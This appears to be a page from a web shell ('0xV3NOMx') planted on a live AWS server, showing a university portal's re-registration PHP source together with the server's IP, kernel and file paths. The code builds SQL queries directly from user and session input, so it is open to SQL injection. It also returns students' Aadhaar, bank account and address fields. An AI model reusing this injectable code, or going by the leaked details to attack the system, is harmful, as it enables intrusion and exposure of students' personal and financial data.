0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.222.108.185


Current Path : /var/www/html/gcg/adm/src/
Upload File :
Current File : //var/www/html/gcg/adm/src/re_rigistration.php

<?php

function getRerigistrationDetails($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

	$page = trim($aobj_context->mobj_data["page"]);
	
	
	
	if($page == "registration")
	{
		$studregno = trim($aobj_context->mobj_data["studregno"]);
		$_SESSION["studregno"] = $studregno;
		$lpval_query = "select cs.fexamno, cs.fdegree, cs.ffreshexam 
		from candsum cs inner join canddet cd
		on cd.fregno = cs.fregno
		where cs.fregno = '{$studregno}'";

		$rst = $aobj_context->mobj_db->getRow($lpval_query);
		$rst = false;
		//if($rst['fexamno'] == 'C' || $rst['fexamno'] == 'E')
		if($rst)
		{
			$arr['msg'] = 'you are eligible go ahead';
    		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success");
		}
		else
		{
			$arr['msg'] = "You are not eligible for re-rigistration contact college";
    		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"error");
		} 
		return;
	}
	
	$url = $aobj_context->main_src;
	//var_dump($url);
	$main_url = str_replace('gcg/adm','gcg',$url);
	//$main_url = $url.$main_url;
	//var_dump($main_url);
	$query2 = "select ifnull(s.FREGNO,'') as FREGNO,concat(ifnull(c.fcollname,''),'-',c.ftown) as fcollname, 
		cs.ffreshexam as FEXAMNO, FNAME, FFATNAME, FTOTSUB,
		ifnull(FFAT_OCC,'') as FFAT_OCC, ifnull(FCASTE,'') as FCASTE,
		ifnull(FRELIGION,'') as FRELIGION, ifnull(s.FSEX,'') as FSEX, 
		ifnull(FHANDICAP,'') as FHANDICAP, ifnull(FNATIONAL,'') as FNATIONAL,
		ifnull(date_format(FDOB,'%d/%m/%Y'),'') as FDOB,
		ifnull(FSUBCASTE,'') as FSUBCASTE,
		ifnull(FBANKACNO,'') as FBANKACNO,
		ifnull(FBANKBRANCH,'') as FBANKBRANCH,
		ifnull(FIFSCCODE,'') as FIFSCCODE,
		ifnull(FMOTNAME,'') as FMOTNAME,  
		ifnull(FAADHARNO,'') as FAADHARNO,
		ifnull(s.FCURRADD1,'') as FCURRADD1, 
		ifnull(s.FCURRADD2,'') as FCURRADD2,  
		ifnull(s.FCURRADD3,'') as FCURRADD3, ifnull(FCURDISTRICT,'') as FCURRDISTRICT,
		ifnull(FCURSTATE,'') as FCURRSTATE, ifnull(FCURPINCODE,'') as FCURRADDPIN, 
		ifnull(s.FPERMADD1,'') as FPERMADD1, ifnull(s.FPERMADD2,'') as FPERMADD2,
		ifnull(s.FPERMADD3,'') as FPERMADD3, ifnull(FPERDISTRICT,'') as FPERMDISTRICT,
		ifnull(FPERSTATE,'') as FPERMSTATE, ifnull(FPERPINCODE,'') as FPERMADDPIN,
		ifnull(s.FMOBILENO,'') as FCONTACT_NO, ifnull(FLANDLINE,'') as FLANDLINE,
		ifnull(s.FEMAIL,'') as FEMAIL, ifnull(FINCOME,'') as FINCOME,  
		ifnull(s.FDEGREE,'') as FDEGREE, ifnull(FENGLISH,'') as FENGLISH, 
		ifnull(FPREVCOMB,'') as FCOMBCODE, ifnull(FBASICQAL,'') as FBASICQAL,  
		ifnull(FCENSTATE,'') as FCENSTATE, ifnull(FCENDISTRICT,'') as FCENDISTRICT,
		ifnull(s.FCOLLCODE,'') as FCOLLCODE, ifnull(FPREVREGNO,'') as FPREVREGNO,
		ifnull(FPREVCOMB,'') as FPREVCOMB, ifnull(FPREVELECTIVE,'') as FPREVELECTIVE,
		ifnull(FPASSMTHYEAR,'') as FPASSMTHYEAR,
		ifnull(FPREVCOLLEGE,'') as FPREVCOLLEGE,
		ifnull(s.FPHOTOPATH,'') as FPHOTOPATH, ifnull(FSIGNPATH,'') as FSIGNPATH, 
		ifnull(FDESCPN,'') as FDESCPN
		from student s
		inner join candsum cs on s.fdegree = cs.fdegree and cs.fregno = s.fregno
		inner join degree d on d.fdegree = cs.fdegree and d.fexamno = cs.fexamno 
		inner join college c on c.FCOLLCODE = s.FCOLLCODE
		where s.fregno = '{$_SESSION['studregno']}'";
	$rst = $aobj_context->mobj_db->getRow($query2);
	//var_dump($query2);

	//var_dump("http://logisys.net.in/kusdde/".$rst['FPHOTOPATH']);
	/*if(!file_exists ($main_url.$rst['FPHOTOPATH']))
	{
		//$rst['FPHOTOPATH'] = '';
		$photopath = substr($rst['FPHOTOPATH'],0,-3);
		$ext = substr($rst['FPHOTOPATH'],-3);
		$photopath = $photopath.strtoupper($ext);
		if(file_exists($main_url.$photopath))
		{
			$rst['FPHOTOPATH'] = "http://studentportal.universitysolutions.in/gcg/".$photopath;		
		}else
		{
			$rst['FPHOTOPATH'] = "";
		}		
	}*/
	$rst['FPHOTOPATH'] = "http://studentportal.universitysolutions.in/gcg/".$rst['FPHOTOPATH'];
	$studdetails = json_encode($rst);
	//$_SESSION['studregno'] = '';
	echo $studdetails;
}

function getsubjectsforreregistration($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$degree = trim($aobj_context->mobj_data["degree"]);
	$exam = trim($aobj_context->mobj_data["exam"]);
	$regno = trim($aobj_context->mobj_data["regno"]);
	$maxsub = trim($aobj_context->mobj_data["ftotsub"]);
	$mbacombcode = trim($aobj_context->mobj_data["mbacombcode"]);
	

	$query2 = "select distinct cd.fsubcode, s.fsubname, s.fprintord from canddet cd
	inner join subject s on cd.fdegree = s.fdegree and cd.fexamno = s.fexamno 
	and cd.fsubcode = s.fsubcode and ifnull(s.fintass,'') <> 'T' 
	where cd.fdegree = '{$degree}'  and cd.fexamno = '{$exam}' 
	and cd.fregno = '{$regno}' order by s.fprintord, s.fsubcode";
	$result2   = $aobj_context->mobj_db->GetAll($query2);	

	$html = "<div class='row' style = 'padding:30px;'><center><div class=' col-md-offset-2 col-md-8'><table id='mainTable' class='table table-striped table-condensed table-bordered'>
                        <thead>
                            <tr class='bg-cyan'>
                                <th style = 'width:8%;'><center>Sl. No.</center></th>
                                <th style = 'width:10%;'><center>Subject Code</center></th>
                                <th style = 'width:70%;'>Subject Name</th>
                            </tr>
                        </thead>
                        <tbody>";  
    $mand_sub = array();
    if($maxsub >count($result2))
	{
		$query3 = "select distinct fsubcode, fsubname from subject
				where ifnull(fintass,'') <> 'T' and ifnull(FRETAIN,'') <> 'T'
				and ifnull(FMANDATORY,'') <> 'T' and fdegree = '{$degree}' 
				and fexamno = '{$exam}' {$mba} order by fsubname";
		$result3   = $aobj_context->mobj_db->GetAll($query3);	
		$options   = "<option value = ''>--Select--</option>";
		foreach($result3 as $key =>$value)
		{
			$options .= "<option value = '{$value['fsubcode']}'>{$value['fsubname']}</option>";
		}
	}
    
   	$remaingsub = $maxsub - count($result2);
    for($i=1;$i<=$maxsub;$i++)
    {
		if($result2 && $i <= count($result2))
		{	
			$html .="<tr>";
			
			$html .="<td style = 'width:;'>
					<span><center>{$i}</center></span>
					</td>";
			$html .="<td style = 'width:;' id = 'subcode_$i'>
					<center>{$result2[$i-1]['fsubcode']}</center>
					</td>";
			$mand_sub[$i] = $result2[$i-1]['fsubcode'];
			$html .="<td style = 'width:;'>
					<span style=''>{$result2[$i-1]['fsubname']}</span>
					</td>";
			$html .="</tr>";
		}else
		{	
			if($i > count($result2))
			{
				$ophtml .="<tr>";
				$ophtml .="<td>
						<span><center>{$i}</center></span>
						</td>";
				$ophtml .="<td id = 'subcode_$i'>
							
						</td>";
				$ophtml .="<td>
						<select id = 'opsubcode_$i' class='form-control' onchange = 'getsubcode(this)'>{$options}</select>
						</td>";
				$ophtml .="</tr>";
			}
		}
	
    }

    $html .=$ophtml;
    $html .= "</tbody></table></div><center></div>";
    $arr['html'] = $html;
    $arr['mand_sub'] = $mand_sub;
    $arr['opt_cnt'] = $remaingsub;
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success");  
    return;
}

?>